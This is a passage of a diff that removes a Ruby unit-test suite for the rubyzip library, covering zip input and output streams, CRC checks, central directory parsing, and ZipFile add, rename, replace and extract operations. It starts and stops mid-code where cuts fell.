actual) && (expected.length > 400 || actual.length > 400)) - zipEntryFilename=entryName+".zipEntry" - File.open(zipEntryFilename, "wb") { |f| f << actual } - fail("File '#{filename}' is different from '#{zipEntryFilename}'") - else - assert_equal(expected, actual) - end - end - } - end - - def AssertEntry.assert_contents(filename, aString) - fileContents = "" - File.open(filename, "rb") { |f| fileContents = f.read } - if (fileContents != aString) - if (fileContents.length > 400 || aString.length > 400) - stringFile = filename + ".other" - File.open(stringFile, "wb") { |f| f << aString } - fail("File '#{filename}' is different from contents of string stored in '#{stringFile}'") - else - assert_equal(fileContents, aString) - end - end - end - - def assert_stream_contents(zis, testZipFile) - assert(zis != nil) - testZipFile.entry_names.each { - |entryName| - assert_next_entry(entryName, zis) - } - assert_equal(nil, zis.get_next_entry) - end - - def assert_test_zip_contents(testZipFile) - ZipInputStream.open(testZipFile.zip_name) { - |zis| - assert_stream_contents(zis, testZipFile) - } - end - - def assert_entryContents(zipFile, entryName, filename = entryName.to_s) - zis = zipFile.get_input_stream(entryName) - assert_entryContentsForStream(filename, zis, entryName) - ensure - zis.close if zis - end -end - - - -class ZipInputStreamTest < Test::Unit::TestCase - include AssertEntry - - def test_new - zis = ZipInputStream.new(TestZipFile::TEST_ZIP2.zip_name) - assert_stream_contents(zis, TestZipFile::TEST_ZIP2) - assert_equal(true, zis.eof?) - zis.close - end - - def test_openWithBlock - ZipInputStream.open(TestZipFile::TEST_ZIP2.zip_name) { - |zis| - assert_stream_contents(zis, TestZipFile::TEST_ZIP2) - assert_equal(true, zis.eof?) - } - end - - def test_openWithoutBlock - zis = ZipInputStream.open(TestZipFile::TEST_ZIP2.zip_name) - assert_stream_contents(zis, TestZipFile::TEST_ZIP2) - end - - def test_incompleteReads - ZipInputStream.open(TestZipFile::TEST_ZIP2.zip_name) { - |zis| - entry = zis.get_next_entry # longAscii.txt - assert_equal(false, zis.eof?) - assert_equal(TestZipFile::TEST_ZIP2.entry_names[0], entry.name) - assert zis.gets.length > 0 - assert_equal(false, zis.eof?) - entry = zis.get_next_entry # empty.txt - assert_equal(TestZipFile::TEST_ZIP2.entry_names[1], entry.name) - assert_equal(0, entry.size) - assert_equal(nil, zis.gets) - assert_equal(true, zis.eof?) - entry = zis.get_next_entry # empty_chmod640.txt - assert_equal(TestZipFile::TEST_ZIP2.entry_names[2], entry.name) - assert_equal(0, entry.size) - assert_equal(nil, zis.gets) - assert_equal(true, zis.eof?) - entry = zis.get_next_entry # short.txt - assert_equal(TestZipFile::TEST_ZIP2.entry_names[3], entry.name) - assert zis.gets.length > 0 - entry = zis.get_next_entry # longBinary.bin - assert_equal(TestZipFile::TEST_ZIP2.entry_names[4], entry.name) - assert zis.gets.length > 0 - } - end - - def test_rewind - ZipInputStream.open(TestZipFile::TEST_ZIP2.zip_name) { - |zis| - e = zis.get_next_entry - assert_equal(TestZipFile::TEST_ZIP2.entry_names[0], e.name) - - # Do a little reading - buf = "" - buf << zis.read(100) - buf << (zis.gets || "") - buf << (zis.gets || "") - assert_equal(false, zis.eof?) - - zis.rewind - - buf2 = "" - buf2 << zis.read(100) - buf2 << (zis.gets || "") - buf2 << (zis.gets || "") - - assert_equal(buf, buf2) - - zis.rewind - assert_equal(false, zis.eof?) - - assert_entry(e.name, zis, e.name) - } - end - - def test_mix_read_and_gets - ZipInputStream.open(TestZipFile::TEST_ZIP2.zip_name) { - |zis| - e = zis.get_next_entry - assert_equal("#!/usr/bin/env ruby", zis.gets.chomp) - assert_equal(false, zis.eof?) - assert_equal("", zis.gets.chomp) - assert_equal(false, zis.eof?) - assert_equal("$VERBOSE =", zis.read(10)) - assert_equal(false, zis.eof?) - } - end - -end - - -module CrcTest - - class TestOutputStream - include IOExtras::AbstractOutputStream - - attr_accessor :buffer - - def initialize - @buffer = "" - end - - def << (data) - @buffer << data - self - end - end - - def run_crc_test(compressorClass) - str = "Here's a nice little text to compute the crc for! Ho hum, it is nice nice nice nice indeed." - fakeOut = TestOutputStream.new - - deflater = compressorClass.new(fakeOut) - deflater << str - assert_equal(0x919920fc, deflater.crc) - end -end - - - -class PassThruCompressorTest < Test::Unit::TestCase - include CrcTest - - def test_size - File.open("dummy.txt", "wb") { - |file| - compressor = PassThruCompressor.new(file) - - assert_equal(0, compressor.size) - - t1 = "hello world" - t2 = "" - t3 = "bingo" - - compressor << t1 - assert_equal(compressor.size, t1.size) - - compressor << t2 - assert_equal(compressor.size, t1.size + t2.size) - - compressor << t3 - assert_equal(compressor.size, t1.size + t2.size + t3.size) - } - end - - def test_crc - run_crc_test(PassThruCompressor) - end -end - -class DeflaterTest < Test::Unit::TestCase - include CrcTest - - def test_outputOperator - txt = load_file("data/file2.txt") - deflate(txt, "deflatertest.bin") - inflatedTxt = inflate("deflatertest.bin") - assert_equal(txt, inflatedTxt) - end - - private - def load_file(fileName) - txt = nil - File.open(fileName, "rb") { |f| txt = f.read } - end - - def deflate(data, fileName) - File.open(fileName, "wb") { - |file| - deflater = Deflater.new(file) - deflater << data - deflater.finish - assert_equal(deflater.size, data.size) - file << "trailing data for zlib with -MAX_WBITS" - } - end - - def inflate(fileName) - txt = nil - File.open(fileName, "rb") { - |file| - inflater = Inflater.new(file) - txt = inflater.sysread - } - end - - def test_crc - run_crc_test(Deflater) - end -end - -class ZipOutputStreamTest < Test::Unit::TestCase - include AssertEntry - - TEST_ZIP = TestZipFile::TEST_ZIP2.clone - TEST_ZIP.zip_name = "output.zip" - - def test_new - zos = ZipOutputStream.new(TEST_ZIP.zip_name) - zos.comment = TEST_ZIP.comment - write_test_zip(zos) - zos.close - assert_test_zip_contents(TEST_ZIP) - end - - def test_open - ZipOutputStream.open(TEST_ZIP.zip_name) { - |zos| - zos.comment = TEST_ZIP.comment - write_test_zip(zos) - } - assert_test_zip_contents(TEST_ZIP) - end - - def test_writingToClosedStream - assert_i_o_error_in_closed_stream { |zos| zos << "hello world" } - assert_i_o_error_in_closed_stream { |zos| zos.puts "hello world" } - assert_i_o_error_in_closed_stream { |zos| zos.write "hello world" } - end - - def test_cannotOpenFile - name = TestFiles::EMPTY_TEST_DIR - begin - zos = ZipOutputStream.open(name) - rescue Exception - assert($!.kind_of?(Errno::EISDIR) || # Linux - $!.kind_of?(Errno::EEXIST) || # Windows/cygwin - $!.kind_of?(Errno::EACCES), # Windows - "Expected Errno::EISDIR (or on win/cygwin: Errno::EEXIST), but was: #{$!.class}") - end - end - - def test_put_next_entry - stored_text = "hello world in stored text" - entry_name = "file1" - comment = "my comment" - ZipOutputStream.open(TEST_ZIP.zip_name) do - |zos| - zos.put_next_entry(entry_name, comment, nil, ZipEntry::STORED) - zos << stored_text - end - - fdata = File.read(TEST_ZIP.zip_name) - if fdata.respond_to? :force_encoding - fdata.force_encoding("binary") - end - assert(fdata.split("\n").grep(stored_text)) - ZipFile.open(TEST_ZIP.zip_name) do - |zf| - assert_equal(stored_text, zf.read(entry_name)) - end - end - - def assert_i_o_error_in_closed_stream - assert_raise(IOError) { - zos = ZipOutputStream.new("test_putOnClosedStream.zip") - zos.close - yield zos - } - end - - def write_test_zip(zos) - TEST_ZIP.entry_names.each { - |entryName| - zos.put_next_entry(entryName) - File.open(entryName, "rb") { |f| zos.write(f.read) } - } - end -end - - - -module Enumerable - def compare_enumerables(otherEnumerable) - otherAsArray = otherEnumerable.to_a - index=0 - each_with_index { - |element, i| - return false unless yield(element, otherAsArray[i]) - } - return index+1 == otherAsArray.size - end -end - - -class ZipCentralDirectoryEntryTest < Test::Unit::TestCase - - def test_read_from_stream - File.open("data/testDirectory.bin", "rb") { - |file| - entry = ZipEntry.read_c_dir_entry(file) - - assert_equal("longAscii.txt", entry.name) - assert_equal(ZipEntry::DEFLATED, entry.compression_method) - assert_equal(106490, entry.size) - assert_equal(3784, entry.compressed_size) - assert_equal(0xfcd1799c, entry.crc) - assert_equal("", entry.comment) - - entry = ZipEntry.read_c_dir_entry(file) - assert_equal("empty.txt", entry.name) - assert_equal(ZipEntry::STORED, entry.compression_method) - assert_equal(0, entry.size) - assert_equal(0, entry.compressed_size) - assert_equal(0x0, entry.crc) - assert_equal("", entry.comment) - - entry = ZipEntry.read_c_dir_entry(file) - assert_equal("short.txt", entry.name) - assert_equal(ZipEntry::STORED, entry.compression_method) - assert_equal(6, entry.size) - assert_equal(6, entry.compressed_size) - assert_equal(0xbb76fe69, entry.crc) - assert_equal("", entry.comment) - - entry = ZipEntry.read_c_dir_entry(file) - assert_equal("longBinary.bin", entry.name) - assert_equal(ZipEntry::DEFLATED, entry.compression_method) - assert_equal(1000024, entry.size) - assert_equal(70847, entry.compressed_size) - assert_equal(0x10da7d59, entry.crc) - assert_equal("", entry.comment) - - entry = ZipEntry.read_c_dir_entry(file) - assert_equal(nil, entry) -# Fields that are not check by this test: -# version made by 2 bytes -# version needed to extract 2 bytes -# general purpose bit flag 2 bytes -# last mod file time 2 bytes -# last mod file date 2 bytes -# compressed size 4 bytes -# uncompressed size 4 bytes -# disk number start 2 bytes -# internal file attributes 2 bytes -# external file attributes 4 bytes -# relative offset of local header 4 bytes - -# file name (variable size) -# extra field (variable size) -# file comment (variable size) - - } - end - - def test_ReadEntryFromTruncatedZipFile - fragment="" - File.open("data/testDirectory.bin") { |f| fragment = f.read(12) } # cdir entry header is at least 46 bytes - fragment.extend(IOizeString) - entry = ZipEntry.new - entry.read_c_dir_entry(fragment) - fail "ZipError expected" - rescue ZipError - end - -end - - -class ZipEntrySetTest < Test::Unit::TestCase - ZIP_ENTRIES = [ - ZipEntry.new("zipfile.zip", "name1", "comment1"), - ZipEntry.new("zipfile.zip", "name2", "comment1"), - ZipEntry.new("zipfile.zip", "name3", "comment1"), - ZipEntry.new("zipfile.zip", "name4", "comment1"), - ZipEntry.new("zipfile.zip", "name5", "comment1"), - ZipEntry.new("zipfile.zip", "name6", "comment1") - ] - - def setup - @zipEntrySet = ZipEntrySet.new(ZIP_ENTRIES) - end - - def test_include - assert(@zipEntrySet.include?(ZIP_ENTRIES.first)) - assert(! @zipEntrySet.include?(ZipEntry.new("different.zip", "different", "aComment"))) - end - - def test_size - assert_equal(ZIP_ENTRIES.size, @zipEntrySet.size) - assert_equal(ZIP_ENTRIES.size, @zipEntrySet.length) - @zipEntrySet << ZipEntry.new("a", "b", "c") - assert_equal(ZIP_ENTRIES.size + 1, @zipEntrySet.length) - end - - def test_add - zes = ZipEntrySet.new - entry1 = ZipEntry.new("zf.zip", "name1") - entry2 = ZipEntry.new("zf.zip", "name2") - zes << entry1 - assert(zes.include?(entry1)) - zes.push(entry2) - assert(zes.include?(entry2)) - end - - def test_delete - assert_equal(ZIP_ENTRIES.size, @zipEntrySet.size) - entry = @zipEntrySet.delete(ZIP_ENTRIES.first) - assert_equal(ZIP_ENTRIES.size - 1, @zipEntrySet.size) - assert_equal(ZIP_ENTRIES.first, entry) - - entry = @zipEntrySet.delete(ZIP_ENTRIES.first) - assert_equal(ZIP_ENTRIES.size - 1, @zipEntrySet.size) - assert_nil(entry) - end - - def test_each - # Tested indirectly via each_with_index - count = 0 - @zipEntrySet.each_with_index { - |entry, index| - assert(ZIP_ENTRIES.include?(entry)) - count = count.succ - } - assert_equal(ZIP_ENTRIES.size, count) - end - - def test_entries - assert_equal(ZIP_ENTRIES.sort, @zipEntrySet.entries.sort) - end - - def test_compound - newEntry = ZipEntry.new("zf.zip", "new entry", "new entry's comment") - assert_equal(ZIP_ENTRIES.size, @zipEntrySet.size) - @zipEntrySet << newEntry - assert_equal(ZIP_ENTRIES.size + 1, @zipEntrySet.size) - assert(@zipEntrySet.include?(newEntry)) - - @zipEntrySet.delete(newEntry) - assert_equal(ZIP_ENTRIES.size, @zipEntrySet.size) - end - - def test_dup - copy = @zipEntrySet.dup - assert_equal(@zipEntrySet, copy) - - # demonstrate that this is a deep copy - copy.entries[0].name = "a totally different name" - assert(@zipEntrySet != copy) - end - - def test_parent - entries = [ - ZipEntry.new("zf.zip", "a"), - ZipEntry.new("zf.zip", "a/"), - ZipEntry.new("zf.zip", "a/b"), - ZipEntry.new("zf.zip", "a/b/"), - ZipEntry.new("zf.zip", "a/b/c"), - ZipEntry.new("zf.zip", "a/b/c/") - ] - entrySet = ZipEntrySet.new(entries) - - assert_equal(nil, entrySet.parent(entries[0])) - assert_equal(nil, entrySet.parent(entries[1])) - assert_equal(entries[1], entrySet.parent(entries[2])) - assert_equal(entries[1], entrySet.parent(entries[3])) - assert_equal(entries[3], entrySet.parent(entries[4])) - assert_equal(entries[3], entrySet.parent(entries[5])) - end - - def test_glob - res = @zipEntrySet.glob('name[2-4]') - assert_equal(3, res.size) - assert_equal(ZIP_ENTRIES[1,3], res) - end - - def test_glob2 - entries = [ - ZipEntry.new("zf.zip", "a/"), - ZipEntry.new("zf.zip", "a/b/b1"), - ZipEntry.new("zf.zip", "a/b/c/"), - ZipEntry.new("zf.zip", "a/b/c/c1") - ] - entrySet = ZipEntrySet.new(entries) - - assert_equal(entries[0,1], entrySet.glob("*")) -# assert_equal(entries[FIXME], entrySet.glob("**")) -# res = entrySet.glob('a*') -# assert_equal(entries.size, res.size) -# assert_equal(entrySet.map { |e| e.name }, res.map { |e| e.name }) - end -end - - -class ZipCentralDirectoryTest < Test::Unit::TestCase - - def test_read_from_stream - File.open(TestZipFile::TEST_ZIP2.zip_name, "rb") { - |zipFile| - cdir = ZipCentralDirectory.read_from_stream(zipFile) - assert_equal(TestZipFile::TEST_ZIP2.entry_names.size, cdir.size) - cdir.entries.sort.compare_enumerables(TestZipFile::TEST_ZIP2.entry_names.sort) { - |cdirEntry, testEntryName| - assert(cdirEntry.name == testEntryName) - } - assert_equal(TestZipFile::TEST_ZIP2.comment, cdir.comment) - } - end - - def test_readFromInvalidStream - File.open("data/file2.txt", "rb") { - |zipFile| - cdir = ZipCentralDirectory.new - cdir.read_from_stream(zipFile) - } - fail "ZipError expected!" - rescue ZipError - end - - def test_ReadFromTruncatedZipFile - fragment="" - File.open("data/testDirectory.bin") { |f| fragment = f.read } - fragment.slice!(12) # removed part of first cdir entry. eocd structure still complete - fragment.extend(IOizeString) - entry = ZipCentralDirectory.new - entry.read_from_stream(fragment) - fail "ZipError expected" - rescue ZipError - end - - def test_write_to_stream - entries = [ ZipEntry.new("file.zip", "flimse", "myComment", "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt", "Has a comment too") ] - cdir = ZipCentralDirectory.new(entries, "my zip comment") - File.open("cdirtest.bin", "wb") { |f| cdir.write_to_stream(f) } - cdirReadback = ZipCentralDirectory.new - File.open("cdirtest.bin", "rb") { |f| cdirReadback.read_from_stream(f) } - - assert_equal(cdir.entries.sort, cdirReadback.entries.sort) - end - - def test_equality - cdir1 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "my zip comment") - cdir2 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "my zip comment") - cdir3 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "comment?") - cdir4 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "comment?") - assert_equal(cdir1, cdir1) - assert_equal(cdir1, cdir2) - - assert(cdir1 != cdir3) - assert(cdir2 != cdir3) - assert(cdir2 != cdir3) - assert(cdir3 != cdir4) - - assert(cdir3 != "hello") - end -end - - -class BasicZipFileTest < Test::Unit::TestCase - include AssertEntry - - def setup - @zipFile = ZipFile.new(TestZipFile::TEST_ZIP2.zip_name) - @testEntryNameIndex=0 - end - - def test_entries - assert_equal(TestZipFile::TEST_ZIP2.entry_names.sort, - @zipFile.entries.entries.sort.map {|e| e.name} ) - end - - def test_each - count = 0 - visited = {} - @zipFile.each { - |entry| - assert(TestZipFile::TEST_ZIP2.entry_names.include?(entry.name)) - assert(! visited.include?(entry.name)) - visited[entry.name] = nil - count = count.succ - } - assert_equal(TestZipFile::TEST_ZIP2.entry_names.length, count) - end - - def test_foreach - count = 0 - visited = {} - ZipFile.foreach(TestZipFile::TEST_ZIP2.zip_name) { - |entry| - assert(TestZipFile::TEST_ZIP2.entry_names.include?(entry.name)) - assert(! visited.include?(entry.name)) - visited[entry.name] = nil - count = count.succ - } - assert_equal(TestZipFile::TEST_ZIP2.entry_names.length, count) - end - - def test_get_input_stream - count = 0 - visited = {} - @zipFile.each { - |entry| - assert_entry(entry.name, @zipFile.get_input_stream(entry), entry.name) - assert(! visited.include?(entry.name)) - visited[entry.name] = nil - count = count.succ - } - assert_equal(TestZipFile::TEST_ZIP2.entry_names.length, count) - end - - def test_get_input_streamBlock - fileAndEntryName = @zipFile.entries.first.name - @zipFile.get_input_stream(fileAndEntryName) { - |zis| - assert_entryContentsForStream(fileAndEntryName, - zis, - fileAndEntryName) - } - end -end - -module CommonZipFileFixture - include AssertEntry - - EMPTY_FILENAME = "emptyZipFile.zip" - - TEST_ZIP = TestZipFile::TEST_ZIP2.clone - TEST_ZIP.zip_name = "5entry_copy.zip" - - def setup - File.delete(EMPTY_FILENAME) if File.exists?(EMPTY_FILENAME) - FileUtils.cp(TestZipFile::TEST_ZIP2.zip_name, TEST_ZIP.zip_name) - end -end - -class ZipFileTest < Test::Unit::TestCase - include CommonZipFileFixture - - def test_createFromScratch - comment = "a short comment" - - zf = ZipFile.new(EMPTY_FILENAME, ZipFile::CREATE) - zf.get_output_stream("myFile") { |os| os.write "myFile contains just this" } - zf.mkdir("dir1") - zf.comment = comment - zf.close - - zfRead = ZipFile.new(EMPTY_FILENAME) - assert_equal(comment, zfRead.comment) - assert_equal(2, zfRead.entries.length) - end - - def test_get_output_stream - entryCount = nil - ZipFile.open(TEST_ZIP.zip_name) { - |zf| - entryCount = zf.size - zf.get_output_stream('newEntry.txt') { - |os| - os.write "Putting stuff in newEntry.txt" - } - assert_equal(entryCount+1, zf.size) - assert_equal("Putting stuff in newEntry.txt", zf.read("newEntry.txt")) - - zf.get_output_stream(zf.get_entry('data/generated/empty.txt')) { - |os| - os.write "Putting stuff in data/generated/empty.txt" - } - assert_equal(entryCount+1, zf.size) - assert_equal("Putting stuff in data/generated/empty.txt", zf.read("data/generated/empty.txt")) - - zf.get_output_stream('entry.bin') { - |os| - os.write(File.open('data/generated/5entry.zip', 'rb').read) - } - } - - ZipFile.open(TEST_ZIP.zip_name) { - |zf| - assert_equal(entryCount+2, zf.size) - assert_equal("Putting stuff in newEntry.txt", zf.read("newEntry.txt")) - assert_equal("Putting stuff in data/generated/empty.txt", zf.read("data/generated/empty.txt")) - assert_equal(File.open('data/generated/5entry.zip', 'rb').read, zf.read("entry.bin")) - } - end - - def test_add - srcFile = "data/file2.txt" - entryName = "newEntryName.rb" - assert(File.exists?(srcFile)) - zf = ZipFile.new(EMPTY_FILENAME, ZipFile::CREATE) - zf.add(entryName, srcFile) - zf.close - - zfRead = ZipFile.new(EMPTY_FILENAME) - assert_equal("", zfRead.comment) - assert_equal(1, zfRead.entries.length) - assert_equal(entryName, zfRead.entries.first.name) - AssertEntry.assert_contents(srcFile, - zfRead.get_input_stream(entryName) { |zis| zis.read }) - end - - def test_addExistingEntryName - assert_raise(ZipEntryExistsError) { - ZipFile.open(TEST_ZIP.zip_name) { - |zf| - zf.add(zf.entries.first.name, "data/file2.txt") - } - } - end - - def test_addExistingEntryNameReplace - gotCalled = false - replacedEntry = nil - ZipFile.open(TEST_ZIP.zip_name) { - |zf| - replacedEntry = zf.entries.first.name - zf.add(replacedEntry, "data/file2.txt") { gotCalled = true; true } - } - assert(gotCalled) - ZipFile.open(TEST_ZIP.zip_name) { - |zf| - assert_contains(zf, replacedEntry, "data/file2.txt") - } - end - - def test_addDirectory - ZipFile.open(TEST_ZIP.zip_name) { - |zf| - zf.add(TestFiles::EMPTY_TEST_DIR, TestFiles::EMPTY_TEST_DIR) - } - ZipFile.open(TEST_ZIP.zip_name) { - |zf| - dirEntry = zf.entries.detect { |e| e.name == TestFiles::EMPTY_TEST_DIR+"/" } - assert(dirEntry.is_directory) - } - end - - def test_remove - entryToRemove, *remainingEntries = TEST_ZIP.entry_names - - FileUtils.cp(TestZipFile::TEST_ZIP2.zip_name, TEST_ZIP.zip_name) - - zf = ZipFile.new(TEST_ZIP.zip_name) - assert(zf.entries.map { |e| e.name }.include?(entryToRemove)) - zf.remove(entryToRemove) - assert(! zf.entries.map { |e| e.name }.include?(entryToRemove)) - assert_equal(zf.entries.map {|x| x.name }.sort, remainingEntries.sort) - zf.close - - zfRead = ZipFile.new(TEST_ZIP.zip_name) - assert(! zfRead.entries.map { |e| e.name }.include?(entryToRemove)) - assert_equal(zfRead.entries.map {|x| x.name }.sort, remainingEntries.sort) - zfRead.close - end - - def test_rename - entryToRename, *remainingEntries = TEST_ZIP.entry_names - - zf = ZipFile.new(TEST_ZIP.zip_name) - assert(zf.entries.map { |e| e.name }.include?(entryToRename)) - - contents = zf.read(entryToRename) - newName = "changed entry name" - assert(! zf.entries.map { |e| e.name }.include?(newName)) - - zf.rename(entryToRename, newName) - assert(zf.entries.map { |e| e.name }.include?(newName)) - - assert_equal(contents, zf.read(newName)) - - zf.close - - zfRead = ZipFile.new(TEST_ZIP.zip_name) - assert(zfRead.entries.map { |e| e.name }.include?(newName)) - assert_equal(contents, zf.read(newName)) - zfRead.close - end - - def test_renameToExistingEntry - oldEntries = nil - ZipFile.open(TEST_ZIP.zip_name) { |zf| oldEntries = zf.entries } - - assert_raise(ZipEntryExistsError) { - ZipFile.open(TEST_ZIP.zip_name) { - |zf| - zf.rename(zf.entries[0], zf.entries[1].name) - } - } - - ZipFile.open(TEST_ZIP.zip_name) { - |zf| - assert_equal(oldEntries.sort.map{ |e| e.name }, zf.entries.sort.map{ |e| e.name }) - } - end - - def test_renameToExistingEntryOverwrite - oldEntries = nil - ZipFile.open(TEST_ZIP.zip_name) { |zf| oldEntries = zf.entries } - - gotCalled = false - renamedEntryName = nil - ZipFile.open(TEST_ZIP.zip_name) { - |zf| - renamedEntryName = zf.entries[0].name - zf.rename(zf.entries[0], zf.entries[1].name) { gotCalled = true; true } - } - - assert(gotCalled) - oldEntries.delete_if { |e| e.name == renamedEntryName } - ZipFile.open(TEST_ZIP.zip_name) { - |zf| - assert_equal(oldEntries.sort.map{ |e| e.name }, - zf.entries.sort.map{ |e| e.name }) - } - end - - def test_renameNonEntry - nonEntry = "bogusEntry" - target_entry = "target_entryName" - zf = ZipFile.new(TEST_ZIP.zip_name) - assert(! zf.entries.include?(nonEntry)) - assert_raise(Errno::ENOENT) { - zf.rename(nonEntry, target_entry) - } - zf.commit - assert(! zf.entries.include?(target_entry)) - ensure - zf.close - end - - def test_renameEntryToExistingEntry - entry1, entry2, *remaining = TEST_ZIP.entry_names - zf = ZipFile.new(TEST_ZIP.zip_name) - assert_raise(ZipEntryExistsError) { - zf.rename(entry1, entry2) - } - ensure - zf.close - end - - def test_replace - entryToReplace = TEST_ZIP.entry_names[2] - newEntrySrcFilename = "data/file2.txt" - zf = ZipFile.new(TEST_ZIP.zip_name) - zf.replace(entryToReplace, newEntrySrcFilename) - - zf.close - zfRead = ZipFile.new(TEST_ZIP.zip_name) - AssertEntry::assert_contents(newEntrySrcFilename, - zfRead.get_input_stream(entryToReplace) { |is| is.read }) - AssertEntry::assert_contents(TEST_ZIP.entry_names[0], - zfRead.get_input_stream(TEST_ZIP.entry_names[0]) { |is| is.read }) - AssertEntry::assert_contents(TEST_ZIP.entry_names[1], - zfRead.get_input_stream(TEST_ZIP.entry_names[1]) { |is| is.read }) - AssertEntry::assert_contents(TEST_ZIP.entry_names[3], - zfRead.get_input_stream(TEST_ZIP.entry_names[3]) { |is| is.read }) - zfRead.close - end - - def test_replaceNonEntry - entryToReplace = "nonExistingEntryname" - ZipFile.open(TEST_ZIP.zip_name) { - |zf| - assert_raise(Errno::ENOENT) { - zf.replace(entryToReplace, "data/file2.txt") - } - } - end - - def test_commit - newName = "renamedFirst" - zf = ZipFile.new(TEST_ZIP.zip_name) - oldName = zf.entries.first - zf.rename(oldName, newName) - zf.commit - - zfRead = ZipFile.new(TEST_ZIP.zip_name) - assert(zfRead.entries.detect { |e| e.name == newName } != nil) - assert(zfRead.entries.detect { |e| e.name == oldName } == nil) - zfRead.close - - zf.close - end - - # This test tests that after commit, you - # can delete the file you used to add the entry to the zip file - # with - def test_commitUseZipEntry - FileUtils.cp(TestFiles::RANDOM_ASCII_FILE1, "okToDelete.txt") - zf = ZipFile.open(TEST_ZIP.zip_name) - zf.add("okToDelete.txt", "okToDelete.txt") - assert_contains(zf, "okToDelete.txt") - zf.commit - File.rename("okToDelete.txt", "okToDeleteMoved.txt") - assert_contains(zf, "okToDelete.txt", "okToDeleteMoved.txt") - end - -# def test_close -# zf = ZipFile.new(TEST_ZIP.zip_name) -# zf.close -# assert_raise(IOError) { -# zf.extract(TEST_ZIP.entry_names.first, "hullubullu") -# } -# end - - def test_compound1 - renamedName = "renamedName" - originalEntries = [] - begin - zf = ZipFile.new(TEST_ZIP.zip_name) - originalEntries = zf.entries.dup - - assert_not_contains(zf, TestFiles::RANDOM_ASCII_FILE1) - zf.add(TestFiles::RANDOM_ASCII_FILE1, - TestFiles::RANDOM_ASCII_FILE1) - assert_contains(zf, TestFiles::RANDOM_ASCII_FILE1) - - zf.rename(zf.entries[0], renamedName) - assert_contains(zf, renamedName) - - TestFiles::BINARY_TEST_FILES.each { - |filename| - zf.add(filename, filename) - assert_contains(zf, filename) - } - - assert_contains(zf, originalEntries.last.to_s) - zf.remove(originalEntries.last.to_s) - assert_not_contains(zf, originalEntries.last.to_s) - - ensure - zf.close - end - begin - zfRead = ZipFile.new(TEST_ZIP.zip_name) - assert_contains(zfRead, TestFiles::RANDOM_ASCII_FILE1) - assert_contains(zfRead, renamedName) - TestFiles::BINARY_TEST_FILES.each { - |filename| - assert_contains(zfRead, filename) - } - assert_not_contains(zfRead, originalEntries.last.to_s) - ensure - zfRead.close - end - end - - def test_compound2 - begin - zf = ZipFile.new(TEST_ZIP.zip_name) - originalEntries = zf.entries.dup - - originalEntries.each { - |entry| - zf.remove(entry) - assert_not_contains(zf, entry) - } - assert(zf.entries.empty?) - - TestFiles::ASCII_TEST_FILES.each { - |filename| - zf.add(filename, filename) - assert_contains(zf, filename) - } - assert_equal(zf.entries.sort.map { |e| e.name }, TestFiles::ASCII_TEST_FILES) - - zf.rename(TestFiles::ASCII_TEST_FILES[0], "newName") - assert_not_contains(zf, TestFiles::ASCII_TEST_FILES[0]) - assert_contains(zf, "newName") - ensure - zf.close - end - begin - zfRead = ZipFile.new(TEST_ZIP.zip_name) - asciiTestFiles = TestFiles::ASCII_TEST_FILES.dup - asciiTestFiles.shift - asciiTestFiles.each { - |filename| - assert_contains(zf, filename) - } - - assert_contains(zf, "newName") - ensure - zfRead.close - end - end - - private - def assert_contains(zf, entryName, filename = entryName) - assert(zf.entries.detect { |e| e.name == entryName} != nil, "entry #{entryName} not in #{zf.entries.join(', ')} in zip file #{zf}") - assert_entryContents(zf, entryName, filename) if File.exists?(filename) - end - - def assert_not_contains(zf, entryName) - assert(zf.entries.detect { |e| e.name == entryName} == nil, "entry #{entryName} in #{zf.entries.join(', ')} in zip file #{zf}") - end -end - -class ZipFileExtractTest < Test::Unit::TestCase - include CommonZipFileFixture - EXTRACTED_FILENAME = "extEntry" - ENTRY_TO_EXTRACT, *REMAINING_ENTRIES = TEST_ZIP.entry_names.reverse - - def setup - super - File.delete(EXTRACTED_FILENAME) if File.exists?(EXTRACTED_FILENAME) - end - - def test_extract - ZipFile.open(TEST_ZIP.zip_name) { - |zf| - zf.extract(ENTRY_TO_EXTRACT, EXTRACTED_FILENAME) - - assert(File.exists?(EXTRACTED_FILENAME)) - AssertEntry::assert_contents(EXTRACTED_FILENAME, - zf.get_input_stream(ENTRY_TO_EXTRACT) { |is| is.read }) - - - File::unlink(EXTRACTED_FILENAME) - - entry = zf.get_entry(ENTRY_TO_EXTRACT) - entry.extract(EXTRACTED_FILENAME) - - assert(File.exists?(EXTRACTED_FILENAME)) - AssertEntry::assert_contents(EXTRACTED_FILENAME, - entry.get_input_stream() { |is| is.read }) - - } - end - - def test_extractExists - writtenText = "written text" - File.open(EXTRACTED_FILENAME, "w") { |f| f.write(writtenText) } - - assert_raise(ZipDestinationFileExistsError) { - ZipFile.open(TEST_ZIP.zip_name) { - |zf| - zf.extract(zf.entries.first, EXTRACTED_FILENAME) - } - } - File.open(EXTRACTED_FILENAME, "r") { - |f| - assert_equal(writtenText, f.read) - } - end - - def test_extractExistsOverwrite - writtenText = "written text" - File.open(EXTRACTED_FILENAME, "w") { |f| f.write(writtenText) } - - gotCalledCorrectly = false - ZipFile.open(TEST_ZIP.zip_name) { - |zf| - zf.extract(zf.entries.first, EXTRACTED_FILENAME) { - |entry, extractLoc| - gotCalledCorrectly = zf.entries.first == entry && - extractLoc == EXTRACTED_FILENAME - true - } - } - - assert(gotCalledCorrectly) - File.open(EXTRACTED_FILENAME, "r") { - |f| - assert(writtenText != f.read) - } - end - - def test_extractNonEntry - zf = ZipFile.new(TEST_ZIP.zip_name) - assert_raise(Errno::ENOENT) { zf.extract("nonExistingEntry", "nonExistingEntry") } - ensure - zf.close if zf - end - - def test_extractNonEntry2 - outFile = "outfile" - assert_raise(Errno::ENOENT) { - zf = ZipFile.new(TEST_ZIP.zip_name) - nonEntry = "hotdog-diddelidoo" - assert(! 